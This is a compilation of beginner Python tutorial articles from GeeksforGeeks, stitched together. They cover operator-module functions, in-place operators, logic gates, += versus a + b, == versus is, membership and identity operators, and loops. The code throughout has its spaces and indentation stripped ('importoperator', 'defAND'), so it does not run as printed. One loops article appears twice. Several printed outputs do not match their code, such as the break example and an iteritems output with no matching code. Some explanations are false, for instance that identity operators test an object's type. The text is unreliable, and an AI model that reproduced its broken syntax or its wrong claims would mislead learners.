The _add_ method, does simple addition, takes two arguments, returns the sum, and stores it in another variable without modifying any of the arguments.
On the other hand, _iadd_ method also takes two arguments, but it makes an in-place change in 1st argument passed by storing the sum in it. As object mutation is needed in this process, immutable targets such as numbers, strings, and tuples, shouldn’t have _iadd_ method.
Normal operator’s “add()” method, implements “a+b” and stores the result in the mentioned variable.
Inplace operator’s “iadd()” method, implements “a+=b” if it exists (i.e in case of immutable targets, it doesn’t exist) and changes the value of the passed argument. But if not, “a+b” is implemented.
Case 1: Immutable Targets. In Immutable targets, such as numbers, strings, and tuples. Inplace operators behave the same as normal operators, i.e only assignment takes place, no modification is taken place in the passed arguments.
Python
# Python code to demonstrate difference between
# Inplace and Normal operators in Immutable Targets
# importing operator to handle operator operations
importoperator
# Initializing values
x =5
y =6
a =5
b =6
# using add() to add the arguments passed
z =operator.add(a,b)
# using iadd() to add the arguments passed
p =operator.iadd(x,y)
# printing the modified value
print("Value after adding using normal operator : ",end="")
print(z)
# printing the modified value
print("Value after adding using Inplace operator : ",end="")
print(p)
# printing value of first argument
# value is unchanged
print("Value of first argument using normal operator : ",end="")
print(a)
# printing value of first argument
# value is unchanged
print("Value of first argument using Inplace operator : ",end="")
print(x)
Output:
Value after adding using normal operator : 11
Value after adding using Inplace operator : 11
Value of first argument using normal operator : 5
Value of first argument using Inplace operator : 5
Case 2: Mutable Targets The behavior of Inplace operators in mutable targets, such as lists and dictionaries, is different from normal operators. The updation and assignment both are carried out in case of mutable targets.
Python
# Python code to demonstrate difference between
# Inplace and Normal operators in mutable Targets
# importing operator to handle operator operations
importoperator
# Initializing list
a =[1, 2, 4, 5]
# using add() to add the arguments passed
z =operator.add(a,[1, 2, 3])
# printing the modified value
print("Value after adding using normal operator : ",end="")
print(z)
# printing value of first argument
# value is unchanged
print("Value of first argument using normal operator : ",end="")
print(a)
# using iadd() to add the arguments passed
# performs a+=[1, 2, 3]
p =operator.iadd(a,[1, 2, 3])
# printing the modified value
print("Value after adding using Inplace operator : ",end="")
print(p)
# printing value of first argument
# value is changed
print("Value of first argument using Inplace operator : ",end="")
print(a)
Output:
Value after adding using normal operator : [1, 2, 4, 5, 1, 2, 3]
Value of first argument using normal operator : [1, 2, 4, 5]
Value after adding using Inplace operator : [1, 2, 4, 5, 1, 2, 3]
Value of first argument using Inplace operator : [1, 2, 4, 5, 1, 2, 3]
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python has predefined functions for many mathematical, logical, relational, bitwise etc operations under the module “operator”. Some of the basic functions are covered in this article.
1. add(a, b) :- This functions returns addition of the given arguments. Operation – a + b.
2. sub(a, b) :- This functions returns difference of the given arguments. Operation – a – b.
3. mul(a, b) :- This functions returns product of the given arguments. Operation – a * b.
# Python code to demonstrate working of
# add(), sub(), mul()
# importing operator module
importoperator
# Initializing variables
a =4
b =3
# using add() to add two numbers
print("The addition of numbers is :",end="");
print(operator.add(a, b))
# using sub() to subtract two numbers
print("The difference of numbers is :",end="");
print(operator.sub(a, b))
# using mul() to multiply two numbers
print("The product of numbers is :",end="");
print(operator.mul(a, b))
Output:
The addition of numbers is:7
The difference of numbers is :1
The product of numbers is:12
4. truediv(a,b) :- This function returns division of the given arguments. Operation – a / b.
5. floordiv(a,b) :- This function also returns division of the given arguments. But the value is floored value i.e. returns greatest small integer. Operation – a // b.
6. pow(a,b) :- This function returns exponentiation of the given arguments. Operation – a ** b.
7. mod(a,b) :- This function returns modulus of the given arguments. Operation – a % b.
# Python code to demonstrate working of
# truediv(), floordiv(), pow(), mod()
# importing operator module
importoperator
# Initializing variables
a =5
b =2
# using truediv() to divide two numbers
print("The true division of numbers is : ",end="");
print(operator.truediv(a,b))
# using floordiv() to divide two numbers
print("The floor division of numbers is : ",end="");
print(operator.floordiv(a,b))
# using pow() to exponentiate two numbers
print("The exponentiation of numbers is : ",end="");
print(operator.pow(a,b))
# using mod() to take modulus of two numbers
print("The modulus of numbers is : ",end="");
print(operator.mod(a,b))
Output:
The true division of numbers is: 2.5
The floor division of numbers is: 2
The exponentiation of numbers is: 25
The modulus of numbers is: 1
8. lt(a, b) :- This function is used to check if a is less than b or not. Returns true if a is less than b, else returns false. Operation – a < b.
9. le(a, b) :- This function is used to check if a is less than or equal to b or not. Returns true if a is less than or equal to b, else returns false. Operation – a <= b.
10. eq(a, b) :- This function is used to check if a is equal to b or not. Returns true if a is equal to b, else returns false. Operation – a == b.
# Python code to demonstrate working of
# lt(), le() and eq()
# importing operator module
importoperator
# Initializing variables
a =3
b =3
# using lt() to check if a is less than b
if(operator.lt(a,b)):
print("3 is less than 3")
else: print("3 is not less than 3")
# using le() to check if a is less than or equal to b
if(operator.le(a,b)):
print("3 is less than or equal to 3")
else: print("3 is not less than or equal to 3")
# using eq() to check if a is equal to b
if(operator.eq(a,b)):
print("3 is equal to 3")
else: print("3 is not equal to 3")
Output:
3 is not less than 3
3 is less than or equal to 3
3 is equal to 3
11. gt(a,b) :- This function is used to check if a is greater than b or not. Returns true if a is greater than b, else returns false. Operation – a > b.
12. ge(a,b) :- This function is used to check if a is greater than or equal to b or not. Returns true if a is greater than or equal to b, else returns false. Operation – a >= b.
13. ne(a,b) :- This function is used to check if a is not equal to b or is equal. Returns true if a is not equal to b, else returns false. Operation – a != b.
# Python code to demonstrate working of
# gt(), ge() and ne()
# importing operator module
importoperator
# Initializing variables
a =4
b =3
# using gt() to check if a is greater than b
if(operator.gt(a,b)):
print("4 is greater than 3")
else: print("4 is not greater than 3")
# using ge() to check if a is greater than or equal to b
if(operator.ge(a,b)):
print("4 is greater than or equal to 3")
else: print("4 is not greater than or equal to 3")
# using ne() to check if a is not equal to b
if(operator.ne(a,b)):
print("4 is not equal to 3")
else: print("4 is equal to 3")
Output:
4 is greater than 3
4 is greater than or equal to 3
4 is not equal to 3
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Inplace Operators in Python | Set 1 (iadd(), isub(), iconcat()…)
Python in its definition provides methods to perform inplace operations, i.e doing assignment and computation in a single statement using “operator” module. For example,
x += y is equivalent to x = operator.iadd(x, y)
Some Important Inplace operations :
1. iadd() :- This function is used to assign and add the current value. This operation does “a+=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.
2. iconcat() :- This function is used to concat one string at end of second.
# Python code to demonstrate the working of
# iadd() and iconcat()
# importing operator to handle operator operations
importoperator
# using iadd() to add and assign value
x =operator.iadd(2, 3);
# printing the modified value
print("The value after adding and assigning : ", end="")
print(x)
# initializing values
y ="geeks"
z ="forgeeks"
# using iconcat() to concat the sequences
y =operator.iconcat(y, z)
# using iconcat() to concat sequences
print("The string after concatenation is : ", end="")
print(y)
Output:
The value after adding and assigning : 5
The string after concatenation is : geeksforgeeks
3. isub() :- This function is used to assign and subtract the current value. This operation does “a-=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.
4. imul() :- This function is used to assign and multiply the current value. This operation does “a*=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.
# Python code to demonstrate the working of
# isub() and imul()
# importing operator to handle operator operations
importoperator
# using isub() to subtract and assign value
x =operator.isub(2, 3);
# printing the modified value
print("The value after subtracting and assigning : ", end="")
print(x)
# using imul() to multiply and assign value
x =operator.imul(2, 3);
# printing the modified value
print("The value after multiplying and assigning : ", end="")
print(x)
Output:
The value after subtracting and assigning : -1
The value after multiplying and assigning : 6
5. itruediv() :- This function is used to assign and divide the current value. This operation does “a/=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.
6. imod() :- This function is used to assign and return remainder . This operation does “a%=b” operation. Assigning is not performed in case of immutable containers, such as strings, numbers and tuples.
# Python code to demonstrate the working of
# itruediv() and imod()
# importing operator to handle operator operations
importoperator
# using itruediv() to divide and assign value
x =operator.itruediv(10, 5);
# printing the modified value
print("The value after dividing and assigning : ", end="")
print(x)
# using imod() to modulus and assign value
x =operator.imod(10, 6);
# printing the modified value
print("The value after modulus and assigning : ", end="")
print(x)
Output:
The value after dividing and assigning : 2.0
The value after modulus and assigning : 4
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Logic gates are elementary building blocks for any digital circuits. It takes one or two inputs and produces output based on those inputs. Outputs may be high (1) or low (0). Logic gates are implemented using diodes or transistors. It can also be constructed using vacuum tubes, electromagnetic elements like optics, molecules, etc. In a computer, most of the electronic circuits are made up of logic gates. Logic gates are used to circuits that perform calculations, data storage, or show off object-oriented programming especially the power of inheritance.
There are seven basic logic gates defined are: AND gate, OR gate, NOT gate, NAND gate, NOR gate, XOR gate, an XNOR gate.
1. AND Gate The AND gate gives an output of 1 if both the two inputs are 1, it gives 0 otherwise.
Python3
# Python3 program to illustrate
# working of AND gate
defAND (a, b):
ifa ==1andb ==1:
returnTrue
else:
returnFalse
# Driver code
if__name__=='__main__':
print(AND(1, 1))
print("+---------------+----------------+")
print(" | AND Truth Table | Result |")
print(" A = False, B = False | A AND B =",AND(False,False)," | ")
print(" A = False, B = True | A AND B =",AND(False,True)," | ")
print(" A = True, B = False | A AND B =",AND(True,False)," | ")
print(" A = True, B = True | A AND B =",AND(True,True)," | ")
Output:
True
+---------------+----------------
| AND Truth Table | Result |
A = False, B = False | A AND B = False |
A = False, B = True | A AND B = False |
A = True, B = False | A AND B = False |
A = True, B = True | A AND B = True |
2. NAND Gate The NAND gate (negated AND) gives an output of 0 if both inputs are 1, it gives 1 otherwise.
Python3
# Python3 program to illustrate
# working of NAND gate
defNAND (a, b):
ifa ==1andb ==1:
returnFalse
else:
returnTrue
# Driver code
if__name__=='__main__':
print(NAND(1, 0))
print("+---------------+----------------+")
print(" | NAND Truth Table | Result |")
print(" A = False, B = False | A AND B =",NAND(False,False)," | ")
print(" A = False, B = True | A AND B =",NAND(False,True)," | ")
print(" A = True, B = False | A AND B =",NAND(True,False)," | ")
print(" A = True, B = True | A AND B =",NAND(True,True)," | ")
Output:
True
+---------------+----------------
| NAND Truth Table | Result |
A = False, B = False | A AND B = True |
A = False, B = True | A AND B = True |
A = True, B = False | A AND B = True |
A = True, B = True | A AND B = False |
3. OR Gate The OR gate gives an output of 1 if either of the two inputs are 1, it gives 0 otherwise.
Python3
# Python3 program to illustrate
# working of OR gate
defOR(a, b):
ifa ==1orb ==1:
returnTrue
else:
returnFalse
# Driver code
if__name__=='__main__':
print(OR(0, 0))
print("+---------------+----------------+")
print(" | OR Truth Table | Result |")
print(" A = False, B = False | A OR B =",OR(False,False)," | ")
print(" A = False, B = True | A OR B =",OR(False,True)," | ")
print(" A = True, B = False | A OR B =",OR(True,False)," | ")
print(" A = True, B = True | A OR B =",OR(True,True)," | ")
Output:
False
+---------------+----------------+
| OR Truth Table | Result |
A = False, B = False | A OR B = False |
A = False, B = True | A OR B = True |
A = True, B = False | A OR B = True |
A = True, B = True | A OR B = True |
4. XOR Gate The XOR gate gives an output of 1 if either of the inputs is different, it gives 0 if they are the same.
Python3
# Python3 program to illustrate
# working of Xor gate
defXOR (a, b):
ifa !=b:
return1
else:
return0
# Driver code
if__name__=='__main__':
print(XOR(5, 5))
print("+---------------+----------------+")
print(" | XOR Truth Table | Result |")
print(" A = False, B = False | A XOR B =",XOR(False,False)," | ")
print(" A = False, B = True | A XOR B =",XOR(False,True)," | ")
print(" A = True, B = False | A XOR B =",XOR(True,False)," | ")
print(" A = True, B = True | A XOR B =",XOR(True,True)," | ")
Output:
0
+---------------+----------------+
| XOR Truth Table | Result |
A = False, B = False | A XOR B = 0 |
A = False, B = True | A XOR B = 1 |
A = True, B = False | A XOR B = 1 |
A = True, B = True | A XOR B = 0 |
5. NOT Gate It acts as an inverter. It takes only one input. If the input is given as 1, it will invert the result as 0 and vice-versa.
Python3
# Python3 program to illustrate
# working of Not gate
defNOT(a):
returnnota
# Driver code
if__name__=='__main__':
print(NOT(0))
print("+---------------+----------------+")
print(" | NOT Truth Table | Result |")
print(" A = False | A NOT =",NOT(False)," | ")
print(" A = True, | A NOT =",NOT(True)," | ")
Output:
1
+---------------+----------------+
| NOT Truth Table | Result |
A = False | A NOT = 1 |
A = True, | A NOT = 0 |
6. NOR Gate The NOR gate (negated OR) gives an output of 1 if both inputs are 0, it gives 0 otherwise.
Python3
# Python3 program to illustrate
# working of NOR gate
defNOR(a, b):
if(a ==0) and(b ==0):
return1
elif(a ==0) and(b ==1):
return0
elif(a ==1) and(b ==0):
return0
elif(a ==1) and(b ==1):
return0
# Driver code
if__name__=='__main__':
print(NOR(0, 0))
print("+---------------+----------------+")
print(" | NOR Truth Table | Result |")
print(" A = False, B = False | A NOR B =",NOR(False,False)," | ")
print(" A = False, B = True | A NOR B =",NOR(False,True)," | ")
print(" A = True, B = False | A NOR B =",NOR(True,False)," | ")
print(" A = True, B = True | A NOR B =",NOR(True,True)," | ")
Output:
1
+---------------+----------------+
| NOR Truth Table | Result |
A = False, B = False | A NOR B = 1 |
A = False, B = True | A NOR B = 0 |
A = True, B = False | A NOR B = 0 |
A = True, B = True | A NOR B = 0 |
7. XNOR Gate The XNOR gate (negated XOR) gives an output of 1 both inputs are same and 0 if both are different.
Python3
# Python3 program to illustrate
# working of Not gate
defXNOR(a,b):
if(a ==b):
return1
else:
return0
# Driver code
if__name__=='__main__':
print(XNOR(1,1))
print("+---------------+----------------+")
print(" | XNOR Truth Table | Result |")
print(" A = False, B = False | A XNOR B =",XNOR(False,False)," | ")
print(" A = False, B = True | A XNOR B =",XNOR(False,True)," | ")
print(" A = True, B = False | A XNOR B =",XNOR(True,False)," | ")
print(" A = True, B = True | A XNOR B =",XNOR(True,True)," | ")
Output:
1
+---------------+----------------+
| XNOR Truth Table | Result |
A = False, B = False | A XNOR B = 1 |
A = False, B = True | A XNOR B = 0 |
A = True, B = False | A XNOR B = 0 |
A = True, B = True | A XNOR B = 1 |
In python a += b doesn’t always behave the same way as a = a + b, the same operands may give different results under different conditions. But to understand why they show different behaviors you have to deep dive into the working of variables.
So first, you need to know what happens behinds the scene.
Creating New Variable:
Python3
a =10
print(" id of a : ", id(10) ," Value : ", a )
Output :
id of a : 11094592 Value : 10
Here in the above example, value 10 gets stored in memory and its reference gets assigned to a.
Modifying The Variable:
Python3
a =10# Assigning value to variable creats new object
print(" id of a : ", id(a) ," Value : ", a )
a =a +10# Modifying value of variable creats new object
print(" id of a : ", id(a) ," Value : ", a )
a +=10# Modifying value of variable creats new object
print(" id of a : ", id(a) ," Value : ", a )
Output :
id of a : 11094592 Value : 10
id of a : 11094912 Value : 20
id of a : 11095232 Value : 30
As whenever we create or modify int, float, char, string they create new objects and assign their newly created reference to their respective variables.
But the same behavior is not seen in the list
Python3
a =[0, 1] # stores this array in memory and assign its reference to a
print("id of a: ",id(a) , "Value : ", a )
a =a +[2, 3] # this will also behave same store data in memory and assign ref. to variable
print("id of a: ",id(a) , "Value : ", a )
a +=[4, 5]
print("id of a: ",id(a) , "Value : ", a )
#But now this will now create new ref. instead this will modify the current object so
# all the other variable pointing to a will also gets changes
Output:
id of a: 140266311673864 Value : [0, 1]
id of a: 140266311673608 Value : [0, 1, 2, 3]
id of a: 140266311673608 Value : [0, 1, 2, 3, 4, 5]
At this point you can see the reason why a = a + b some times different from a += b.
Consider these examples for list manipulation: Example 1:
Python3
list1 =[5, 4, 3, 2, 1]
list2 =list1
list1 +=[1, 2, 3, 4] # modifying value in current reference
print(list1)
print(list2) # as on line 4 it modify the value without creating new object
# variable list2 which is pointing to list1 gets changes
expression list1 += [1, 2, 3, 4] modifies the list in-place, which means it extends the list such that “list1” and “list2” still have the reference to the same list.
expression list1 = list1 + [1, 2, 3, 4] creates a new list and changes “list1” reference to that new list and “list2” still refer to the old list.
The Equality operator (==) compares the values of both the operands and checks for value equality. Whereas the ‘is’operator checks whether both the operands refer to the same object or not (present in the same memory location).
Python3
# python3 code to
# illustrate the
# difference between
# == and is operator
# [] is an empty list
list1 =[]
list2 =[]
list3=list1
if(list1 ==list2):
print("True")
else:
print("False")
if(list1 islist2):
print("True")
else:
print("False")
if(list1 islist3):
print("True")
else:
print("False")
list3 =list3 +list2
if(list1 islist3):
print("True")
else:
print("False")
Output:
True
False
True
False
The output of the first if the condition is “True” as both list1 and list2 are empty lists.
Second, if the condition shows “False” because two empty lists are at different memory locations. Hence list1 and list2 refer to different objects. We can check it with id() function in python which returns the “identity” of an object.
The output of the third if the condition is “True” as both list1 and list3 are pointing to the same object.
The output of the fourth if the condition is “False” because the concatenation of two lists always produces a new list.
Python3
list1 =[]
list2 =[]
print(id(list1))
print(id(list2))
Output:
139877155242696
139877155253640
This shows list1 and list2 refer to different objects.
In this article, we are going to Python Membership and Identity Operators.
Membership Operators
Membership operators are operators used to validate the membership of a value. It tests for membership in a sequence, such as strings, lists, or tuples.
in operator: The ‘in’ operator is used to check if a value exists in a sequence or not. Evaluate to true if it finds a variable in the specified sequence and false otherwise.
Python3
# Python program to illustrate
# Finding common member in list
# using 'in' operator
list1 =[1, 2, 3, 4, 5]
list2 =[6, 7, 8, 9]
foritem inlist1:
ifitem inlist2:
print("overlapping")
else:
print("not overlapping")
Output
not overlapping
not overlapping
not overlapping
not overlapping
not overlapping
The same example without using in operator:
Python3
# Python program to illustrate
# Finding common member in list
# without using 'in' operator
# Define a function() that takes two lists
defoverlapping(list1, list2):
c =0
d =0
fori inlist1:
c +=1
fori inlist2:
d +=1
fori inrange(0, c):
forj inrange(0, d):
if(list1[i] ==list2[j]):
return1
return0
list1 =[1, 2, 3, 4, 5]
list2 =[6, 7, 8, 9]
if(overlapping(list1, list2)):
print("overlapping")
else:
print("not overlapping")
Output
not overlapping
‘not in’ operator- Evaluates to true if it does not finds a variable in the specified sequence and false otherwise.
Python3
# Python program to illustrate
# not 'in' operator
x =24
y =20
list=[10, 20, 30, 40, 50]
if(x notinlist):
print("x is NOT present in given list")
else:
print("x is present in given list")
if(y inlist):
print("y is present in given list")
else:
print("y is NOT present in given list")
Output:
x is NOT present in given list
y is present in given list
Identity operators
In Python identity operators are used to determine whether a value is of a certain class or type. They are usually used to determine the type of data a certain variable contains. There are different identity operators such as
‘is’ operator – Evaluates to true if the variables on either side of the operator point to the same object and false otherwise.
Python3
# Python program to illustrate the use
# of 'is' identity operator
x =5
if(type(x) isint):
print("true")
else:
print("false")
Output
true
‘is not’ operator – Evaluates to false if the variables on either side of the operator point to a different object and true otherwise.
Python programming language provides the following types of loops to handle looping requirements. Python provides three ways for executing the loops. While all the ways provide similar basic functionality, they differ in their syntax and condition checking time.
While Loop:
In python, while loop is used to execute a block of statements repeatedly until a given condition is satisfied. And when the condition becomes false, the line immediately after the loop in the program is executed.
Syntax :
while expression:
statement(s)
3. All the statements indented by the same number of character spaces after a programming construct are considered to be part of a single block of code. Python uses indentation as its method of grouping statements. Example:
Python
# Python program to illustrate
# while loop
count =0
while(count < 3):
count =count +1
print("Hello Geek")
Output:
Hello Geek
Hello Geek
Hello Geek
Using else statement with while loops: As discussed above, while loop executes the block until a condition is satisfied. When the condition becomes false, the statement immediately after the loop is executed. The else clause is only executed when your while condition becomes false. If you break out of the loop, or if an exception is raised, it won’t be executed. If else like this:
Python
ifcondition:
# execute these statements
else:
# execute these statements
and while loop like this are similar
Python
whilecondition:
# execute these statements
else:
# execute these statements
Python
#Python program to illustrate
# combining else with while
count =0
while(count < 3):
count =count +1
print("Hello Geek")
else:
print("In Else Block")
Output:
Hello Geek
Hello Geek
Hello Geek
In Else Block
Single statement while block: Just like the if block, if the while block consists of a single statement the we can declare the entire loop in a single line as shown below:
Python
# Python program to illustrate
# Single statement while block
count =0
while(count ==0): print("Hello Geek")
Note: It is suggested not to use this type of loops as it is a never ending infinite loop where the condition is always true and you have to forcefully terminate the compiler.
for in Loop: For loops are used for sequential traversal. For example: traversing a list or string or array etc. In Python, there is no C style for loop, i.e., for (i=0; i<n; i++). There is “for in” loop which is similar to for each loop in other languages. Let us learn how to use for in loop for sequential traversals.
Syntax:
for iterator_var in sequence:
statements(s)
It can be used to iterate over a range and iterators.
Python3
# Python program to illustrate
# Iterating over range 0 to n-1
n =4
fori inrange(0, n):
print(i)
Output :
0
1
2
3
Python
# Python program to illustrate
# Iterating over a list
print("List Iteration")
l =["geeks", "for", "geeks"]
fori inl:
print(i)
# Iterating over a tuple (immutable)
print("\nTuple Iteration")
t =("geeks", "for", "geeks")
fori int:
print(i)
# Iterating over a String
print("\nString Iteration")
s ="Geeks"
fori ins :
print(i)
# Iterating over dictionary
print("\nDictionary Iteration")
d =dict()
d['xyz'] =123
d['abc'] =345
fori ind :
print("%s %d"%(i, d[i]))
#Iterating over a set
print("\nSet Iteration")
set1 ={1,2,3,4,5,6}
fori inset1:
print(i),
Output:
List Iteration
geeks
for
geeks
Tuple Iteration
geeks
for
geeks
String Iteration
G
e
e
k
s
Dictionary Iteration
xyz 123
abc 345
Iterating by the index of sequences: We can also use the index of elements in the sequence to iterate. The key idea is to first calculate the length of the list and in iterate over the sequence within the range of this length. See the below example:
Python
# Python program to illustrate
# Iterating by index
list=["geeks", "for", "geeks"]
forindex inrange(len(list)):
printlist[index]
Output:
geeks
for
geeks
Using else statement with for loops: We can also combine else statement with for loop like in while loop. But as there is no condition in for loop based on which the execution will terminate so the else block will be executed immediately after for block finishes execution. Below example explains how to do this:
Python
# Python program to illustrate
# combining else with for
list=["geeks", "for", "geeks"]
forindex inrange(len(list)):
printlist[index]
else:
print"Inside Else Block"
Output:
geeks
for
geeks
Inside Else Block
Nested Loops: Python programming language allows to use one loop inside another loop. Following section shows few examples to illustrate the concept. Syntax:
Python
foriterator_var insequence:
foriterator_var insequence:
statements(s)
statements(s)
The syntax for a nested while loop statement in the Python programming language is as follows:
Python
whileexpression:
whileexpression:
statement(s)
statement(s)
A final note on loop nesting is that we can put any type of loop inside of any other type of loop. For example, a for loop can be inside a while loop or vice versa.
Python
# Python program to illustrate
# nested for loops in Python
from__future__ importprint_function
fori inrange(1, 5):
forj inrange(i):
print(i, end=' ')
print()
Output:
1
2 2
3 3 3
4 4 4 4
Loop Control Statements: Loop control statements change execution from their normal sequence. When execution leaves a scope, all automatic objects that were created in that scope are destroyed. Python supports the following control statements.
Continue Statement: It returns the control to the beginning of the loop.
Python
# Prints all letters except 'e' and 's'
forletter in'geeksforgeeks':
ifletter =='e'orletter =='s':
continue
print'Current Letter :', letter
var =10
Output:
Current Letter : g
Current Letter : k
Current Letter : f
Current Letter : o
Current Letter : r
Current Letter : g
Current Letter : k
Break Statement: It brings control out of the loop
Python
forletter in'geeksforgeeks':
# break the loop as soon it sees 'e'
# or 's'
ifletter =='e'orletter =='s':
break
print'Current Letter :', letter
Output:
Current Letter : e
Pass Statement: We use pass statement to write empty loops. Pass is also used for empty control statements, functions and classes.
Python
# An empty loop
forletter in'geeksforgeeks':
pass
print'Last Letter :', letter
Output:
Last Letter : s
How for loop in Python works internally?
Before proceeding to this section, you should have a prior understanding of Python Iterators.
Firstly, lets see how a simple for loop looks like.
Python3
# A simple for loop example
fruits =["apple", "orange", "kiwi"]
forfruit infruits:
print(fruit)
Output
apple
orange
kiwi
Here we can see the for loops iterates over iterable object fruit which is a list. Lists, sets, dictionaries are few iterable objects while an integer object is not an iterable object.
For loops can iterate over any iterable object (example: List, Set, Dictionary, Tuple or String).
Now with the help of the above example, let’s dive deep and see what happens internally here.
Make the list (iterable) an iterable object with help of the iter() function.
Run an infinite while loop and break only if the StopIteration is raised.
In the try block, we fetch the next element of fruits with the next() function.
After fetching the element we did the operation to be performed with the element. (i.e print(fruit))
Python3
fruits =["apple", "orange", "kiwi"]
# Creating an iterator object
# from that iterable i.e fruits
iter_obj =iter(fruits)
# Infinite while loop
whileTrue:
try:
# getting the next item
fruit =next(iter_obj)
print(fruit)
exceptStopIteration:
# if StopIteration is raised,
# break from loop
break
Output
apple
orange
kiwi
We can see that under the hood we are calling iter() and next() method.
Exercise: How to print a list in reverse order (from last to the first item) using while and for in loops. This article is contributed by Ashirwad Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
My Personal Notesarrow_drop_up
Loops and Control Statements (continue, break and pass) in Python
Python programming language provides following types of loops to handle looping requirements.
While Loop
Syntax :
while expression:
statement(s)
In Python, all the statements indented by the same number of character spaces after a programming construct are considered to be part of a single block of code. Python uses indentation as its method of grouping statements.
# prints Hello Geek 3 Times
count =0
while(count < 3):
count =count+1
print("Hello Geek")
Output:
Hello Geek
Hello Geek
Hello Geek
See this for an example where while loop is used for iterators. As mentioned in the article, it is not recommended to use while loop for iterators in python.
For in Loop
In Python, there is no C style for loop, i.e., for (i=0; i<n; i++). There is “for in” loop which is similar to for each loop in other languages.
Syntax:
for iterator_var in sequence:
statements(s)
It can be used to iterate over iterators and a range.
# Iterating over a list
print("List Iteration")
l =["geeks", "for", "geeks"]
fori inl:
print(i)
# Iterating over a tuple (immutable)
print("\nTuple Iteration")
t =("geeks", "for", "geeks")
fori int:
print(i)
# Iterating over a String
print("\nString Iteration")
s ="Geeks"
fori ins :
print(i)
# Iterating over dictionary
print("\nDictionary Iteration")
d =dict()
d['xyz'] =123
d['abc'] =345
fori ind :
print("%s %d"%(i, d[i]))
Output:
List Iteration
geeks
for
geeks
Tuple Iteration
geeks
for
geeks
String Iteration
G
e
e
k
s
Dictionary Iteration
xyz 123
abc 345
We can use for in loop for user defined iterators. See this for example.
Nested Loops
Python programming language allows to use one loop inside another loop. Following section shows few examples to illustrate the concept. Syntax:
for iterator_var in sequence:
for iterator_var in sequence:
statements(s)
statements(s)
The syntax for a nested while loop statement in Python programming language is as follows:
while expression:
while expression:
statement(s)
statement(s)
A final note on loop nesting is that we can put any type of loop inside of any other type of loop. For example a for loop can be inside a while loop or vice versa.
from__future__ importprint_function
fori inrange(1, 5):
forj inrange(i):
print(i, end=' ')
print()
Output:
1
2 2
3 3 3
4 4 4 4
Loop Control Statements
Loop control statements change execution from its normal sequence. When execution leaves a scope, all automatic objects that were created in that scope are destroyed. Python supports the following control statements.
Continue Statement It returns the control to the beginning of the loop.
# Prints all letters except 'e' and 's'
forletter in'geeksforgeeks':
ifletter =='e'orletter =='s':
continue
print'Current Letter :', letter
var =10
Output:
Current Letter : g
Current Letter : k
Current Letter : f
Current Letter : o
Current Letter : r
Current Letter : g
Current Letter : k
Break Statement It brings control out of the loop
forletter in'geeksforgeeks':
# break the loop as soon it sees 'e'
# or 's'
ifletter =='e'orletter =='s':
break
print'Current Letter :', letter
Output:
Current Letter : e
Pass Statement We use pass statement to write empty loops. Pass is also used for empty control statement, function and classes.
# An empty loop
forletter in'geeksforgeeks':
pass
print'Last Letter :', letter
Output:
Last Letter : s
Exercise: How to print a list in reverse order (from last to first item) using while and for in loops.
This article is contributed by Ashirwad Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Python supports various looping techniques by certain inbuilt functions, in various sequential containers. These methods are primarily very useful in competitive programming and also in various projects which require a specific technique with loops maintaining the overall structure of code. A lot of time and memory space is been saved as there is no need to declare the extra variables which we declare in the traditional approach of loops.
Where they are used?
Different looping techniques are primarily useful in the places where we don’t need to actually manipulate the structure and order of the overall containers, rather only print the elements for a single-use instance, no in-place change occurs in the container. This can also be used in instances to save time.
Different looping techniques using Python data structures are:
Using enumerate(): enumerate() is used to loop through the containers printing the index number along with the value present in that particular index.
Python3
# python code to demonstrate working of enumerate()
forkey, value inenumerate(['The', 'Big', 'Bang', 'Theory']):
print(key, value)
Output:
0 The
1 Big
2 Bang
3 Theory
Python3
# python code to demonstrate working of enumerate()
forkey, value inenumerate(['Geeks', 'for', 'Geeks',
'is', 'the', 'Best',
'Coding', 'Platform']):
print(value, end=' ')
Output:
Geeks for Geeks is the Best Coding Platform
Using zip(): zip() is used to combine 2 similar containers(list-list or dict-dict) printing the values sequentially. The loop exists only till the smaller container ends. A detailed explanation of zip() and enumerate() can be found here.
Python3
# python code to demonstrate working of zip()
# initializing list
questions =['name', 'colour', 'shape']
answers =['apple', 'red', 'a circle']
# using zip() to combine two containers
# and print values
forquestion, answer inzip(questions, answers):
print('What is your {0}? I am {1}.'.format(question, answer))
Output:
What is your name? I am apple.
What is your color? I am red.
What is your shape? I am a circle.
Using iteritem(): iteritems() is used to loop through the dictionary printing the dictionary key-value pair sequentially which is used before Python 3 version.
Using items(): items() performs the similar task on dictionary as iteritems() but have certain disadvantages when compared with iteritems().
It is very time-consuming. Calling it on large dictionaries consumes quite a lot of time.
It takes a lot of memory. Sometimes takes double the memory when called on a dictionary.
Example 1:
Python3
# python code to demonstrate working of items()
d ={"geeks": "for", "only": "geeks"}
# iteritems() is renamed to items() in python3
# using items to print the dictionary key-value pair
print("The key value pair using items is : ")
fori, j ind.items():
print(i, j)
Output:
The key value pair using iteritems is :
geeks for
only geeks
The key value pair using items is :
geeks for
only geeks
Example 2:
Python3
# python code to demonstrate working of items()
king ={'Akbar': 'The Great', 'Chandragupta': 'The Maurya',
'Modi': 'The Changer'}
